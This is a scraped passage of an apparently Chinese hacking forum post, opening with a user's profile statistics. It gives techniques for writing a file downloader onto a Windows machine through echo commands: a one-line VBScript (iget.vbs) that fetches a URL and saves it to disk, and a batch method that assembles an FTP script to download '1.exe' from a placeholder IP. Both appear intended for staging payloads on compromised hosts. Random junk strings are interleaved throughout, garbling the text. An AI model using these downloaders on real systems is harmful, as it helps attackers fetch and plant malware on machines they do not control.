- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: $ O7 X" M/ H% J/ _) f5 B- x/ d
1.iget.vbs一次写入
1 M4 V' k3 h. |% S在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
3 ~0 a# E. Y- w8 y6 |- W* s( x) P2 D3 U2 ^
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 0 c* k$ Y3 `! H; f, v# t: Z% m
: o& E! Z" M- j2 z
这样我们可以一次echo成功,echo版本: # a- P3 B- j& q5 l! ^( F+ \
8 _! x2 ~7 @# b
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
* {# q" ?5 r4 J
$ ?. ]/ V. S7 i0 _$ Q5 H0 z" F V; ]
2.bat调用ftp脚本的写法(by envymask)
/ A+ w0 \6 K$ d+ V' m6 y. j7 ~8 S; J( V5 l! N) e
echo ftp>1.vbs $ l: N) s/ u" Q% F6 i, `
echo open ip>2.vbs
5 _9 R' l6 T& Y7 W3 `5 e$ `echo u>3.vbs
- m" I& x. O9 B Iecho s>4.vbs 4 Y; v/ v5 K$ S5 e/ |
echo binary>5.vbs " J- a& ]( e, s0 s
echo get 1.exe>6.vbs
$ a) L! n6 W# E! hecho bay>7.vbs 8 ?/ r5 k8 I' I9 Z+ y. l
. s' O4 W0 }) B* p' [
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs ! P# y8 e' H0 N. m7 q
</P> |
zan
|